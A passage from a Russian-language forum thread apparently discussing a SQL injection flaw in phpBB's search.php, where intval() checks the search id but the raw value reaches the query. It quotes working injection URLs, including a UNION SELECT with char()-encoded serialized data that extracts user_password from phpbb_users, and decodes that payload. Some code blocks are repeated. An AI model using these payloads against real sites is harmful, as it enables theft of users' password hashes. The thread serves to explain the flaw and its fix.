if ( intval($search_id) )
{
$sql = "SELECT search_array
FROM " . SEARCH_TABLE . "
WHERE search_id = $search_id
AND session_id = '". $userdata['session_id'] . "'";
в чем уязвимость или найди отличие (php)
Код:
2е:
Код:
$search_id = intval($search_id);
if ( $search_id )
{
$sql = "SELECT search_array
FROM " . SEARCH_TABLE . "
WHERE search_id = $search_id
AND session_id = '". $userdata['session_id'] . "'";
if ( $search_id )
{
$sql = "SELECT search_array
FROM " . SEARCH_TABLE . "
WHERE search_id = $search_id
AND session_id = '". $userdata['session_id'] . "'";
согласно заявлению сдесь:
http://www.phpbb.com/phpBB/viewtopic.php?t=153818
1е код содержит уязвимость ака скуэль инжектинг
if ( intval($search_id) ) если $search_id текст просто не запустит в цикл.., т.е опасности все равно на мой взляд нет..
конешно этот вареант, как то эстетичней в плане секьюретности.. но суть на мой взгляд не меняется..
$search_id = intval($search_id);
if ( $search_id )
Вожет я фишку какую не уловил ?
search_id=1'
я думаю после этого все ясно.
всем удачи.
Код:
>/$folder/search.php?search_id=$search_id%20union%20select%20concat(char(97,5
>8,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,
>116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108
>,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,
>58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105
>,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,1
>15,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,
>95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,11
>5,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,1
>12,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,
>114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_i
>d=$user_id/* HTTP/1.0\r\n\r\n";
>8,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,
>116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108
>,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,
>58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105
>,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,1
>15,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,
>95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,11
>5,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,1
>12,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,
>114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_i
>d=$user_id/* HTTP/1.0\r\n\r\n";
в чем смысл: concat(char(97,5 ....
мдя... тяжелоато понять всю эту муть
странный код
зачем использовать concat(char(97,5 сам не пойму... возможно чтобы запрятать потенциально опасные символы("'\& и прочее) или какойто дополнительный обход безопастности скриптов мол и так можно передать код
просто пхп под рукой нет, не могу проверить.
Цитата:
Originally posted by gufy
скорее всего под concat(char(91,...)) выйдет строка содержащая нечто ужасное, но она содержит в себе и дофигищу чисел, и видимо имеется в виду что intval для этой строки выйдет валидным ну скажем то же 91. по-другому до меня не доходит.
просто пхп под рукой нет, не могу проверить.
скорее всего под concat(char(91,...)) выйдет строка содержащая нечто ужасное, но она содержит в себе и дофигищу чисел, и видимо имеется в виду что intval для этой строки выйдет валидным ну скажем то же 91. по-другому до меня не доходит.
просто пхп под рукой нет, не могу проверить.
Интвал будет валидным если в строке есть хотябы одно число.. , что уже продеманстрировано 1'
П.с к сожалению, пхп тоже нет под рукой..
В реальности с таким запросом ничего не выводится.. да он срабатывает прокатывает на ура и все..
Интересно что и такой запрос не прокатит:
Код:
?search_id=1%20union%20select%20user_password%20from%20phpbb_users%20where%20user_id=2/*
хотя юзер с таким айди есть. и тот же запрос с цифирками выдавал кол во записей.. (там в верху где результат найденого)
Почему так ?
про инт вал я тоже самое сказал :)
А вот про char тра тата мне так и не стало понятно..
И еще не понятно почему неготивной результат при если место этой лабуды поставить *
кстати, в доке вообще нет такой функции char, есть только chr-но это традиционная функция преобразрвания из ASCII в символ...
в том посте(что был удален) я искренне удивлялся тому что [phpdoc]intval[/phpdoc] назывался валидатором
и еще привел что скрывается(по мнению моей mySQL) за теми кодами:
Код:
a:7:{s:14:"search_results";s:1:"1";s:17:"total_match_count";i:5;s:12:"split_search";a:1:{i:0;s:32:"user_password";}s:7:"sort_by";
i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:6:"topics";s:12:"return_chars";i:200;}
i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:6:"topics";s:12:"return_chars";i:200;}
2 gufy:
как нет ??
http://www.mysql.com/doc/ru/String_functions.html
Запрос:
script.php?some_var=' '
Скрипт:
<?php echo $some_var ?>
Результат:
\\'
Примечание: в последовательности \\' символ "'" не является символом, открывающим, или закрывающим апостоф. Т.е INSERT INTO MyTable VALUES('\\'') вставит в тавлицу MyTable символ "'".
Второе,
Код:
a:7:{s:14:"search_results";s:1:"1";s:17:"total_match_count";i:5;s:12:"split_search";a:1:{i:0;s:32:"user_password";}s:7:"sort_by";
i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:6:"topics";s:12:"return_chars";i:200;}
i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:6:"topics";s:12:"return_chars";i:200;}
Есть ничто иное, как сериализованные переменные. С помощю сериализации можно сохранять/восстанавливать значения переменных в/из файл(а)/поле(я) таблицы. Ну так вот, делается этот concat, чтобы выбор из таблицы паролей был тоже в сериализованном виде. Потому, что он там ниже по коду делает десериализацию данных, возвращённых из запроса.
Третье,
Код:
if ( intval($search_id) )
{
$sql = "SELECT search_array
FROM " . SEARCH_TABLE . "
WHERE search_id = $search_id
AND session_id = '". $userdata['session_id'] . "'";
{
$sql = "SELECT search_array
FROM " . SEARCH_TABLE . "
WHERE search_id = $search_id
AND session_id = '". $userdata['session_id'] . "'";
2е:
Код:
$search_id = intval($search_id);
if ( $search_id )
{
$sql = "SELECT search_array
FROM " . SEARCH_TABLE . "
WHERE search_id = $search_id
AND session_id = '". $userdata['session_id'] . "'";
if ( $search_id )
{
$sql = "SELECT search_array
FROM " . SEARCH_TABLE . "
WHERE search_id = $search_id
AND session_id = '". $userdata['session_id'] . "'";
Разница в том, что в первом он проверяет intval($search_id), а потом использует $search_id. Может случится так, что intval вёрнёт что-то отличное от нуля, и при этом будет в $search_id содержаться что-то нехорошее.
Во втором случае, в $search_id будет только лишь число.
sorry, по задумчивости пошел на php.net и искал в тамошней доке)))
Цитата:
Originally posted by gufy
2Alone
sorry, по задумчивости пошел на php.net и искал в тамошней доке)))
2Alone
sorry, по задумчивости пошел на php.net и искал в тамошней доке)))
А почему * не прокатывает место все этой штуки..
? такое ощущение что запрос в принципе не срабатывает ..